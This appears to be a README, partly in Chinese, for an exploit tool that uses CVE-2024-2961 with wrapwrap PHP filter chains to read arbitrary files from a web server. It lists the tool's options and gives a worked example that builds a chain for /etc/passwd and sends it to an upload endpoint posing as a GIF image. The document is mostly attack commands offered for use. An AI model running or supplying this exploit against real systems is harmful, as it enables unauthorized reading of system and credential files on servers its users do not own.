利用 CVE-2024-2961 实现任意文件读取
配合 wrapwrap 使用效果最佳。
usage: arbitrary-file-read.py [-h] -t TARGET -c CHAIN -ct CONTENT_TYPE [--prefix-len PREFIX_LEN] [--suffix-len SUFFIX_LEN]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The target URL (e.g. http://subdomain.vulnerable.tld) - Don't include any URL path component
-c CHAIN, --chain CHAIN
The filepath of the chain file from wrapwrap (see: https://github.com/ambionics/wrapwrap)
-ct CONTENT_TYPE, --content-type CONTENT_TYPE
The content type that your filter chain pretends to use
--prefix-len PREFIX_LEN
The length of the PREFIX to remove from the file in the response. Ex to remove the "GIF89a\n" header use `--prefix-len 8
--suffix-len SUFFIX_LEN
The length of the SUFFIX to remove from the file in the response
以下是在接受 GIF 图片的文件上传场景中使用该工具的一个示例:
# 运行 wrapwrap 生成包含 PHP 过滤器链的 chain.txt 文件
python3 wrapwrap.py /etc/passwd 'GIF89a\n' '' 999
# 运行本工具,将 chain.txt 作为参数传入
python3 ./arbitrary-file-read.py -t 'http://vulnerable.tld' -c ./chain.txt -ct 'image/gif' --prefix-len 9